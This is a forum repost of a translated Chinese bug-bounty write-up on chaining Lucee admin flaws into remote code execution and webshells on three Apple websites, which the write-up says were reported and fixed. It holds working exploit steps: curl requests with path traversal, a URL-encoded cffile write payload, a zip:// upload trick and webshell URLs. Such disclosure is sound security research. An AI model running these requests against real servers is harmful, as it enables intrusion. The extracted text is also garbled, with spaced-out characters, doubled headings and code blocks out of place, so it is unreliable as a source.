搜索

[16457] 2021-02-18_挖洞经验发现Lucee0day漏洞RCE掉三个苹果公司网站

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2021-02-18_挖洞经验发现Lucee0day漏洞RCE掉三个苹果公司网站 挖 洞 经 验   |   发 现 L u c e e   0 d a y 漏 洞 R C E 掉 三 个 苹 果 公 司 网 站 c l o u d s   F r e e B u f   2 0 2 1 - 0 2 - 1 8 本 文 中 ， 国 外 安 全 研 究 员 @ r o o t x h a r s h   和   @ i a m n o o o o b 通 过 对 苹 果 （ A p p l e ） 公 司 网 站 的 分 析 ， 发 现 了 其 中 三 个 苹 果 公 司 网 站 部 署 中 用 到 了 基 于 开 源 程 序 L u c e e 的 C M S 应 用 ， 经 过 对 L u c e e 的 安 全 测 试 ， @ r o o t x h a r s h   和   @ i a m n o o o o b 发 现 了 其 中 存 在 的 0 d a y 漏 洞 ， 通 过 构 造 利 用 ， 可 以 实 现 对 三 个 苹 果 公 司 网 站 的 远 程 代 码 执 行 （ R C E ） ， 漏 洞 最 终 收 获 了 苹 果 （ A p p l e ） 公 司 $ 5 0 , 0 0 0 的 奖 励 。 开 始 之 前 开 始 之 前 在 看 了 S a m 发 布 的 一 系 列 针 对 苹 果 公 司 网 站 的 漏 洞 测 试 报 告 之 后 ， 我 们 也 着 手 准 备 测 试 ， 我 们 把 测 试 重 点 放 在 苹 果 公 司 网 站 个 人 信 息 （ P I I ） 泄 露 和 内 部 网 络 架 构 曝 露 方 面 ， 这 应 该 也 是 苹 果 公 司 比 较 关 注 的 漏 洞 。 前 期 侦 测 前 期 侦 测 经 过 一 系 列 的 W E B 应 用 识 别 和 探 测 ， 我 们 发 现 苹 果 公 司 有 三 个 网 站 上 运 行 的 C M S （ 内 容 管 理 系 统 ） 都 是 基 于 开 源 程 序 L u c e e 开 发 的 。 由 于 其 中 涉 及 的 C M S 和 L u c e e 都 是 可 以 开 源 获 取 的 ， 因 此 ， 可 以 轻 松 搭 建 本 地 环 境 进 行 测 试 ， 所 以 这 三 个 网 站 看 似 值 得 深 入 探 究 。 从 漏 洞 历 史 来 看 ， L u c e e 披 露 过 一 些 公 开 漏 洞 且 还 具 备 一 个 管 理 员 登 录 面 板 ， 另 外 ， L u c e e 的 另 外 一 个 相 似 的 分 支 语 言   R a i l o 曾 被 知 名 白 帽 O r a n g e   T s a i 曝 出 大 洞 。 经 测 试 ， 这 三 个 网 站 中 的 L u c e e 管 理 员 登 录 面 板 都 可 以 访 问 ， 其 中 有 一 个 版 本 较 近 ， 两 个 版 本 稍 老 。 h t t p s : / / f a c i l i t i e s . a p p l e . c o m /   ( R e c e n t   v e r s i o n ) h t t p s : / / b o o k t r a v e l . a p p l e . c o m /   ( O l d e r   v e r s i o n ) h t t p s : / / b o o k t r a v e l - u a t . a p p l e . c o m /   ( O l d e r   v e r s i o n ) 苹 果 公 司 网 站 的 苹 果 公 司 网 站 的 W A F 设 置 设 置 从 部 署 新 版 本 L u c e e 的 网 站 f a c i l i t i e s . a p p l e . c o m 开 始 ， 为 了 能 进 一 步 进 行 漏 洞 挖 掘 ， 我 们 需 要 了 解 苹 果 公 司 网 站 的 W A F 设 置 ， 而 且 ， 尤 为 重 要 的 是 ， 需 要 了 解 f a c i l i t i e s . a p p l e . c o m 网 站 前 端 与 后 端 的 通 信 交 互 时 的 W A F 规 则 触 发 。 苹 果 公 司 网 站 的 W A F 设 置 规 则 非 常 头 痛 ， 它 几 乎 会 对 拦 截 掉 所 有 的 U R L 路 径 遍 历 和 S Q L 注 入 尝 试 。 网 站 f a c i l i t i e s . a p p l e . c o m 上 的 前 端 服 务 （ 反 向 代 理 服 务 ） 配 置 了 大 多 只 返 显 后 端 响 应 代 码 2 0 0 或 4 0 4 ， 即 使 后 端 服 务 器 被 请 求 了 其 它 的 响 应 代 码 ， 但 在 前 端 上 依 然 只 会 返 显 4 0 3 ， 这 与 其 W A F 触 发 规 则 一 致 。 L u c e e 的 不 当 配 置 问 题 的 不 当 配 置 问 题 我 们 在 本 地 搭 建 了 一 个 L u c e e / C M S 测 试 环 境 ， 偶 然 发 现 了 其 中 存 在 的 一 个 配 置 不 当 问 题 ， 攻 击 者 利 用 该 问 题 可 以 直 接 访 问 到 受 保 护 的 C o l d F u s i o n 标 记 语 言 文 件 （ C F M ） ， 由 此 可 以 实 现 一 些 未 授 权 操 作 。 在 连 接 C F M 文 件 时 ， 一 旦 遇 到 其 中 的 r e q u e s t . a d m i n t y p e 变 量 ， 由 于 我 们 不 是 管 理 员 身 份 ， 执 行 进 程 会 立 即 停 止 。 为 此 ， 我 们 尝 试 测 试 变 量 r e q u e s t . a d m i n t y p e 之 前 的 操 作 ， 看 会 否 会 存 在 漏 洞 。 最 终 ， 我 们 利 用 以 下 三 个 文 件 ， 在 L u c e e 安 装 环 境 中 发 现 了 一 个 预 授 权 / 未 授 权 远 程 代 码 执 行 漏 洞 （ R C E ） ： i m g P r o c e s s . c f m   ( 稍 旧 版 本 中 没 有 ) a d m i n . s e a r c h . i n d e x . c f m e x t . a p p l i c a t i o n s . u p l o a d . c f m 失 败 尝 试 失 败 尝 试 i m g P r o c e s s . c f m 文 件 中 的 远 程 代 码 执 行 漏 洞 （ 文 件 中 的 远 程 代 码 执 行 漏 洞 （ R C E ） ） 为 了 模 拟 苹 果 网 站 中 的 运 行 环 境 ， 我 们 在 本 地 安 装 了 相 同 版 本 的 L u c e e 。 之 后 ， 在 打 开 i m g P r o c e s s . c f m 文 件 时 ， 苹 果 网 站 服 务 端 抛 出 了 4 0 3   F o r b i d d e n 的 响 应 ， 这 也 就 是 说 ， 该 文 件 是 存 在 的 ， 只 不 过 被 禁 止 访 问 而 已 。 经 过 一 番 测 试 后 我 们 才 发 现 ， 这 里 需 要 指 定 正 确 的 参 数 ， 否 则 就 会 导 致 服 务 端 抛 出 4 0 3 。 如 下 错 误 参 数 ： 正 确 参 数 ：
经 过 分 析 ， 我 们 发 现 i m g P r o c e s s . c f m 文 件 中 存 在 一 个 路 径 遍 历 漏 洞 ， 可 以 利 用 该 漏 洞 以 给 定 内 容 在 服 务 器 任 意 位 置 创 建 文 件 ： 在 文 件 创 建 过 程 中 ， 会 请 求 f i l e 参 数 ， 并 利 用 命 令 { t e m p - d i r e c t o r y } / a d m i n - e x t - t h u m b n a i l s / _ _ { o u r - i n p u t } 生 成 文 件 ， 其 中 的 o u r - i n p u t 内 容 可 通 过 上 述 带 参 i m g S r c 的 P O S T 请 求 来 定 义 。 从 以 上 代 码 # u r l . f i l e 中 可 以 看 到 ， 在 对 中 可 以 看 到 ， 在 对 L i n u x 系 统 的 路 径 或 文 件 遍 历 前 ， 需 要 之 前 的 目 录 （ 这 里 即 系 统 的 路 径 或 文 件 遍 历 前 ， 需 要 之 前 的 目 录 （ 这 里 即 目 录 ） 是 存 在 的 ， 好 在 e x p a n d P a t h 方 法 会 创 建 目 录 路 径 并 以 字 符 串 形 式 返 回 。 所 以 ， 上 述 目 录 路 径 并 以 字 符 串 形 式 返 回 。 所 以 ， 上 述 方 法 函 数 在 传 递 文 件 方 法 函 数 在 传 递 文 件 f i l e = / . . / . . / . . / c o n t e x t / p w n . c f m 的 同 时 ， 就 会 创 建 的 同 时 ， 就 会 创 建 目 录 ， 可 以 对 网 站 w e b r o o t 根 目 录 进 行 遍 历 ， 就 形 成 了 一 个 简 单 的 R C E 漏 洞 通 道 。 然 而 ， 即 使 有 了 这 个 R C E ， 但 由 于 有 W A F 规 则 对 请 求 参 数 中 的 . . / 进 行 拦 截 ， 所 以 我 们 也 不 能 直 接 形 成 漏 洞 利 用 。 该 功 能 中 ， i m g P r o c e s s . c f m 文 件 会 以 u r l . f i l e 和 f o r m . i m g S r c 为 参 数 去 调 用 创 建 文 件 ， 如 果 这 两 个 参 数 都 是 形 式 化 或 P O S T 请 求 的 带 参 ， 那 么 就 有 可 能 不 会 触 发 W A F 规 则 。 这 样 的 话 ， 我 们 就 能 使 用 上 述 i m g P r o c e s s . c f m 文 件 R C E 方 法 ， 在 服 务 器 中 任 意 位 置 创 建 任 意 名 称 和 内 容 的 文 件 ， 而 不 触 发 W A F 规 则 。 如 何 真 正 绕 过 如 何 真 正 绕 过 W A F 在 另 一 个 文 件 a d m i n . s e a r c h . i n d e x . c f m ， 其 功 能 是 指 定 一 个 目 录 并 把 其 中 的 文 件 内 容 拷 贝 到 给 定 的 其 它 目 录 中 去 。 但 是 ， 我 们 发 现 其 中 的 拷 贝 方 法 非 常 麻 烦 ， 它 实 际 上 并 不 会 拷 贝 文 件 内 容 ， 也 不 会 保 留 文 件 扩 展 名 。 该 功 能 用 到 了 两 个 参 数 ： d a t a D i r l u c e e A r c h i v e Z i p P a t h d a t a D i r 是 需 要 给 定 的 拷 贝 目 的 目 录 位 置 路 径 ， 它 由 调 用 参 数 l u c e e A r c h i v e Z i p P a t h 来 实 现 。 如 果 指 定 的 目 录 位 置 路 径 不 存 在 ， 就 会 新 创 建 一 个 。 这 是 一 个 创 建 绝 对 路 径 的 方 法 ， 如 下 ： 其 文 件 创 建 的 样 例 请 求 如 下 ： 由 于 该 拷 贝 功 能 并 不 是 标 准 的 c o p y 方 法 ， 因 此 ， 必 须 得 深 入 研 究 一 下 其 中 的 相 关 代 码 意 图 。 之 后 ， 我 们 发 现 了 一 个 有 意 思 的 C o l d F u s i o n 标 记 语 言 （ C F M L ） 标 签 ： 该 条 标 记 语 言 的 大 概 意 思 是 ， 它 会 列 出 l u c e e A r c h i v e Z i p P a t h 目 录 下 的 文 件 ， 其 中 的 f i l t e r 属 性 会 过 滤 出 . . c f m 文 件 ， 并 把 最 终 结 果 存 储 在 变 量 ” q F i l e s ”   中 。 接 着 ， 它 会 迭 代 变 量 c u r r F i l e 中 的 所 有 文 件 ， 并 把 其 中 带 ’ . c f m ’ 后 缀 的 文 件 去 除 c f m 后 缀 ， 然 后 把 去 除 后 缀 的 文 件 名 存 储 在 c u r r A c t i o n 变 量 中 。 比 如 ， t e s t . x y z . c f m 会 变 成 为 t e s t . x y z 。 然 后 ， 代 码 流 程 会 检 查 在 d a t a D i r 目 录 中 诸 如   ‘ t e s t . x y z . e n . t x t ’   或   ‘ t e s t . x y z . d e . t x t ’ 名 称 的 文 件 ， 这 里 ， d a t a D i r 变 量 是 用 户 控 制 的 。 如 果 d a t a D i r 目 录 下 确 实 存 在 如   ‘ t e s t . x y z . e n . t x t ’   或 ‘ t e s t . x y z . d e . t x t ’ 名 称 的 文 件 ， 则 它 就 会 把 其 中 的   ( ‘ . ’ )   替 换 为 空 白 符 ， 并 把 名 称 结 果 存 储 到 p a g e C o n t e n t s . l n g . c u r r A c t i o n 变 量 中 。 代 码 逻 辑 如 下 ： 之 后 ， 如 t e s t . x y z . . t x t 文 件 中 的 内 容 即 是 变 量 p a g e C o n t e n t s . l n g . c u r r A c t i o n 的 值 。 然 而 ， 即 使 我 们 可 以 在 服 务 器 中 任 意 位 置 创 建 任 意 内 容 （ 如 . t x t ） 的 文 件 ， 但 是 ， 之 后 的 测 试 证 明 ， 我 们 可 以 在 其 文 件 名 上 做 点 手 脚 ， 形 成 漏 洞 利 用 。 之 后 ， 代 码 流 程 会 存 储 d a t a 变 量 中 的 c u r r F i l e 文 件 内 容 ， 过 滤 出 不 符 合 正 则 表 达 式 [ ‘ ’ ” # # ] s t T e x t . . + ? [ ‘ ’ ” # # ] 的 文 件 ， 并 把 结 果 存 入 f i n d s 数 组 中 。 接 着 ， 代 码 会 对 f i n d s 数 组 进 行 循 环 ， 检 查 其 中 每 一 项 是 否 会 存 在 结 构 化 键 值 k e y ， 如 果 不 存 在 ， 则 会 自 己 创 建 一 个 结 构 化 键 值 k e y ， 并 存 储 到 s e a r c h r e s u l t s 变 量 中 。 最 终 ， 所 有 键 值 或 s e a r c h r e s u l t s 变 量 内 容 会 被 再 次 转 存 到 d a t a D i r 目 录 中 一 个 名 为 ” s e a r c h i n d e x . c f m ” 的 文 件 中 ， 内 容 为 J S O N 格 式 。 f a c i l i t i e s . a p p l e . c o m 网 站 中 的 远 程 代 码 执 行 漏 洞 （ 网 站 中 的 远 程 代 码 执 行 漏 洞 （ R C E ） ） 至 此 ， 我 们 综 合 利 用 i m g P r o c e s s . c f m   和   a d m i n . s e a r c h . i n d e x . c f m 文 件 ， 在 苹 果 网 站 h t t p s : / / f a c i l i t i e s . a p p l e . c o m 是 构 造 形 成 了 一 个 R C E 漏 洞 。 另 外 ， 我 们 可 以 控 制 一 个 拷 贝 源 目 录 （ d a t a D i r 参 数 ） 和 一 个 拷 贝 目 的 目 录 （ l u c e e A r c h i v e Z i p P a t h 参 数 ） 。 现 在 ， 如 果 我 们 在 服 务 器 任 意 位 置 创 建 一 个 名 为 s e r v e r . . c f m 的 文 件 ， 其 内 容 为 ” # s t T e x t . x . f # ” 。 那 么 ， 我 们 也 就 可 以 通 过 l u c e e A r c h i v e Z i p P a t h 参 数 把 其 文 件 路 径 传 递 到 a d m i n . s e a r c h . i n d e x . c f m 文 件 中 。 但 由 于 文 件 s e r v e r . . c f m 的 结 构 化 文 件 名 键 值 k e y 是 不 存 在 的 ， 代 码 就 会 自 动 创 建 一 个 并 把 k e y 写 入 到 名 为 s e a r c h i n d e x . c f m 的 文 件 中 。 那 也 就 是 说 ， 之 后 ， 我 们 就 可 以 在 d a t a D i r 参 数 帮 助 下 ， 通 过 在 服 务 器 任 意 位 置 目 录 下 ， 实 现 对 s e a r c h i n d e x . c f m   f i l e 文 件 中 的 C F M L 标 签 （ 类 似 P H P 标 签 ） 的 控 制 ， 那 也 即 ， 我 们 就 可 能 通 过 控 制 网 站 服 务 器 的 根 目 录 w e b r o o t 来 执 行 任 意 代 码 了 ！ 我 们 先 用 i m g P r o c e s s . c f m 在 目 标 网 站 文 件 系 统 中 创 建 一 个 名 为 s e r v e r . . c f m 的 文 件 ， 其 内 容 符 合 正 则 表 达 式 [ ‘ ’ ” # # ] s t T e x t . . + ? [ ‘ ’ ” # # ] 。 该 操 作 由 于 不 是 执 行 路 径 遍 历 ， 因 此 不 会 触 发 W A F 拦 截 规 则 。 获 得 网 站 代 码 执 行 获 得 网 站 代 码 执 行 S h e l l 1 、 创 建 文 件 名 为 s e r v e r . . c f m 且 内 容 匹 配 正 则 表 达 式 ” # s t T e x t . x . f # ” 的 文 件 ， 由 于 网 站 后 端 t o m c a t 会 拦 截 某 些 字 符 ， 因 此 把 其 文 件 名 进 行 U R L 编 码 ， 最 终 成 型 的 P O S T 请 求 如 下 ： c u r l   - X   P O S T   ‘ h t t p s : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / a d m i n / i m g P r o c e s s . c f m ? < c f o u t p u t >   < c f f i l e   a c t i o n = " w r i t e "     f i l e = " # e x p a n d P a t h ( ' { t e m p - d i r e c t o r y } / a d m i n - e x t - t h u m b n a i l s / ' ) # _ _ # u r l . f i l e # "   O u t p u t = " # f o r m . i m g S r c # "     c r e a t e P a t h = " t r u e " > < / c f o u t p u t > < c f i f   n o t   d i r e c t o r y E x i s t s ( d a t a D i r ) >     < c f d i r e c t o r y   a c t i o n = " c r e a t e "   d i r e c t o r y = " # d a t a D i r # "   m o d e = " 7 7 7 "   r e c u r s e = " t r u e "   / > < / c f i f > G E T   / l u c e e / a d m i n / a d m i n . s e a r c h . i n d e x . c f m ? d a t a D i r = / c o p y / t o / p a t h / h e r e / & L U C E E A R C H I V E Z I P P A T H = / c o p y / f r o m / p a t h / h e r e   H T T P / 1 . 1 H o s t :   f a c i l i t i e s . a p p l e . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   C o n n e c t i o n :   c l o s e < c f i f   f i l e E x i s t s ( ' # d a t a D i r # # c u r r A c t i o n # . # l n g # . t x t ' ) > < c f s e t   p a g e C o n t e n t s [ l n g ] [ c u r r A c t i o n ]   =   f i l e R e a d ( ' # d a t a D i r # # c u r r A c t i o n # . # l n g # . t x t ' ,   ' u t f - 8 ' )   / > < c f e l s e > < ! - - -   m a k e   s u r e   w e   w i l l   a l s o   f i n d   t h i s   p a g e   w h e n   s e a r c h i n g   f o r   t h e   f i l e   n a m e - - - > < c f s e t   p a g e C o n t e n t s [ l n g ] [ c u r r A c t i o n ]   =   " # r e p l a c e ( c u r r A c t i o n ,   ' . ' ,   '   ' ) #   "   / > < / c f i f > < c f s e t   d a t a   =   f i l e r e a d ( c u r r F i l e )   / > < c f s e t   f i n d s   =   r e m a t c h N o C a s e ( ' [ ' ' " # # ] s t T e x t . . + ? [ ' ' " # # ] ' ,   d a t a )   / > < c f l o o p   a r r a y = " # f i n d s # "   i n d e x = " s t r " >   < c f s e t   s t r   =   r e r e p l a c e ( l i s t R e s t ( s t r ,   ' . ' ) ,   ' . $ ' ,   ' ' )   / >     [ . . s n i p . . ]     < c f i f   s t r u c t K e y E x i s t s ( t r a n s l a t i o n s . e n ,   s t r ) >       < c f i f   n o t   s t r u c t K e y E x i s t s ( s e a r c h r e s u l t s [ s t r ] ,   c u r r A c t i o n ) >         < c f s e t   s e a r c h r e s u l t s [ s t r ] [ c u r r A c t i o n ]   =   1   / >       < c f e l s e >         < c f s e t   s e a r c h r e s u l t s [ s t r ] [ c u r r A c t i o n ] + +   / >       < / c f i f >     < / c f i f > < / c f l o o p >
f i l e = % 2 F % 7 3 % 6 5 % 7 2 % 7 6 % 6 5 % 7 2 % 2 e % 3 c % 6 3 % 6 6 % 6 6 % 6 9 % 6 c % 6 5 % 2 0 % 6 1 % 6 3 % 7 4 % 6 9 % 6 f % 6 e % 3 d % 7 7 % 7 2 % 6 9 % 7 4 % 6 5 % 2 0 % 6 6 % 6 9 % 6 c % 6 5 % 3 d % 2 3 % 5 5 % 7 2 % 6 c % 5 b % 2 7 % 6 6 % 2 7 % 5 d % 2 3 % 2 0 % 6 f % 7 5 % 7 4 % 7 0 % 7 5 % 7 4 % 3 d % 2 3 % 5 5 % 7 2 % 6 c % 5 b % 2 7 % 6 3 % 6 f % 6 e % 7 4 % 6 5 % 6 e % 7 4 % 2 7 % 5 d % 2 3 % 3 e % 2 e % 6 3 % 6 6 % 6 d ‘ — d a t a   ‘ i m g S r c = ” # s t T e x t . B u t t o n s . s a v e # ” ‘ 2 、 拷 贝 其 文 件 名 为 代 码 执 行 做 准 备 ： c u r l   ‘ h t t p : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / a d m i n / a d m i n . s e a r c h . i n d e x . c f m ? d a t a D i r = / f u l l / p a t h / l u c e e / c o n t e x t / r o o t x h a r s h / & L U C E E A R C H I V E Z I P P A T H = / f u l l / p a t h / l u c e e / t e m p / a d m i n - e x t - t h u m b n a i l s / _ _ / ‘ 3 、 写 入 S h e l l 代 码 以 备 后 续 触 发 代 码 执 行 操 作 ： c u r l   h t t p s : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / r o o t x h a r s h / s e a r c h i n d e x . c f m ? f = P o C . c f m & c o n t e n t = c f m _ s h e l l 4 、 访 问 w e b s h e l l - h t t p s : / / f a c i l i t i e s . a p p l e . c o m / l u c e e / r o o t x h a r s h / P o C . c f m ， 成 功 ！ ： 另 两 个 网 站 的 另 两 个 网 站 的 R C E 漏 洞 漏 洞 现 在 ， 网 站 f a c i l i t i e s . a p p l e . c o m 的 R C E 已 经 实 现 ， 但 由 于 在 旧 版 本 L u c e e 中 没 有 i m g P r o c e s s . c f m 文 件 ， 所 以 我 们 需 要 发 现 其 它 可 以 可 以 触 发 R C E 的 漏 洞 通 道 。 果 然 ， 最 终 我 们 发 现 了 一 个 有 意 思 的 方 式 。 未 授 权 的 未 授 权 的 . l e x 格 式 文 件 上 传 格 式 文 件 上 传 经 分 析 发 现 ， 文 件 e x t . a p p l i c a t i o n s . u p l o a d . c f m 可 以 实 现 部 份 未 授 权 操 作 ， 其 代 码 片 段 非 常 简 单 ， 需 要 把 e x t f i l e 形 式 参 数 的 文 件 名 扩 展 格 式 设 置 为   . l e x ， 否 则 ， 就 会 抛 出 运 行 异 常 。 其 对 . l e x 格 式 文 件 的 后 续 处 理 为 ： 由 于 我 们 未 对 r e q u e s t . a d m i n t y p e 做 过 先 前 设 置 ， 因 此 ， 这 里 抛 出 运 行 异 常 。 然 而 ， 在 该 步 之 前 ， 我 们 的 文 件 却 仍 然 被 成 功 上 传 了 ， 可 以 从 以 下 截 图 发 现 ： 本 来 一 个 . l e x 格 式 文 件 也 没 什 么 ， 但 这 里 的 情 况 是 ， l e x 文 件 可 以 是 z i p 压 缩 格 式 ， 是 目 标 网 站 中 我 们 可 以 成 功 上 传 的 L u c e e 形 式 文 件 ，   而 且 没 有 任 何 内 容 安 全 过 滤 限 制 ， 那 我 们 就 可 以 任 意 上 传 了 。 漏 洞 利 用 漏 洞 利 用 经 过 对 L u c e e 的 测 试 ， 我 们 了 解 它 支 持 z i p : / / ,   f i l e : / /   等 协 议 形 式 ， 也 即 这 里 我 们 可 在 可 控 的 l u c e e A r c h i v e Z i p P a t h 变 量 中 指 定 这 些 协 议 形 式 ， 进 行 深 入 利 用 。 重 点 是 ， 我 们 可 以 用 文 件 e x t . a p p l i c a t i o n s . u p l o a d . c f m 创 建 具 备 . l e x 扩 展 名 后 缀 的 文 件 ， 该 文 件 内 容 匹 配 正 则 表 达 式 ” # s t T e x t . x . f # ”   ， 且 文 件 名 为 s e r v e r . . c f m 。 一 旦 我 们 的 z i p 压 缩 格 式 文 件 创 建 在 了 网 站 服 务 器 中 ， 那 么 就 能 利 用 l u c e e A r c h i v e Z i p P a t h 变 量 中 的 z i p : / / 协 议 去 请 求 其 中 包 含 . . c f m 文 件 的 Z I P 格 式 存 档 了 。 在 另 外 两 个 网 站 服 务 端 中 实 现 在 另 外 两 个 网 站 服 务 端 中 实 现 R C E   S h e l l 1 、 创 建 一 个 内 容 匹 配 ” # s t T e x t . x . f # ”   ， 且 名 为 s e r v e r . . c f m 的 文 件 ， 把 它 z i p 打 包 为 p a y l o a d . l e x 。 2 、 把 p a y l o a d . l e x 通 过 e x t . a p p l i c a t i o n s . u p l o a d . c f m 文 件 中 的 上 传 功 能 进 行 上 传 ： c u r l   - v v   - F   e x t f i l e = @ p a y l o a d . l e x   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / a d m i n / e x t . a p p l i c a t i o n s . u p l o a d . c f m 3 、 我 们 可 以 用 z i p : / / 形 式 请 求 其 中 上 传 的 p a y l o a d . l e x ： c u r l   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / a d m i n / a d m i n . s e a r c h . i n d e x . c f m ? d a t a D i r = / f u l l / p a t h / l u c e e / w e b / c o n t e x t / e x p l o i t / & l u c e e A r c h i v e Z i p P a t h = z i p : / / / f u l l / p a t h / l u c e e / w e b / t e m p / p a y l o a d . l e x 4 、 之 后 ， 我 们 的 目 标 文 件 s e r v e r . . c f m 就 会 被 以 文 本 方 式 添 加 到 位 于 网 站 根 目 录 / c o n t e x t / e x p l o i t / 下 的 s e a r c h i n d e x . c f m 文 件 中 ， 即 可 实 现 对 h t t p s : / / b o o k t r a v e l . a p p l e . c o m / / e x p l o i t / s e a r c h i n d e x . c f m 的 请 求 ； 5 、 然 后 ， 请 求   h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / e x p l o i t / s e a r c h i n d e x . c f m ? f = t e s t . c f m & o u t p u t = c f m l _ s h e l l 实 现 S h e l l 代 码 写 入 ； < c f i f   n o t   s t r u c t K e y E x i s t s ( f o r m ,   " e x t f i l e " )   o r   f o r m . e x t f i l e   e q   " " >   . . . < / c f i f > < ! - - -   t r y   t o   u p l o a d   ( . z i p   a n d   . r e )   - - - > < c f t r y >   < c f f i l e   a c t i o n = " u p l o a d "   f i l e f i e l d = " e x t f i l e "   d e s t i n a t i o n = " # G e t T e m p D i r e c t o r y ( ) # "   n a m e c o n f l i c t = " m a k e u n i q u e "   / >   < c f i f   c f f i l e . s e r v e r f i l e e x t   n e q   " l e x " >     < c f t h r o w   m e s s a g e = " O n l y   . l e x   i s   a l l o w e d   a s   e x t e n s i o n ! "   / >   < / c f i f >   < c f c a t c h >     . . .   < / c f c a t c h > < / c f t r y > < c f s e t   z i p f i l e   =   " # r e r e p l a c e ( c f f i l e . s e r v e r d i r e c t o r y ,   ' [ / ] $ ' ,   ' ' ) # # s e r v e r . s e p a r a t o r . f i l e # # c f f i l e . s e r v e r f i l e # "   / > < c f i f   c f f i l e . s e r v e r f i l e e x t   e q   " l e x " > . . .                 t y p e = " # r e q u e s t . a d m i n T y p e # " . . . < / c f i f >
6 、 最 终 形 成 了 一 个 有 效 的 W e b s h e l l - h t t p s : / / b o o k t r a v e l . a p p l e . c o m / l u c e e / e x p l o i t / t e s t . c f m ? c m d = i d ， 由 于 苹 果 网 站 中 部 署 了 很 多 负 载 均 衡 应 用 ， 因 此 ， 我 们 得 通 过 B u r p 的 i n t r u d e r 模 块 去 反 复 测 试 触 发 我 们 的 S h e l l ： 总 结 总 结 苹 果 公 司 最 终 接 收 并 修 复 了 该 漏 洞 ， 且 要 求 我 们 在 漏 洞 修 复 前 不 得 披 露 该 漏 洞 ， 最 终 我 们 收 获 了 苹 果 公 司 $ 5 0 , 0 0 0 的 漏 洞 奖 励 。 另 外 ， 我 们 也 积 极 和 L u c e e 官 方 联 系 ， 并 通 过 限 制 对 c f m 文 件 的 直 接 访 问 修 复 了 其 中 存 在 的 漏 洞 ， 这 里 应 该 会 有 一 个 C V E 编 号 分 配 。 参 考 来 源 ： 参 考 来 源 ： g i t h u b 精 彩 推 荐 精 彩 推 荐
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理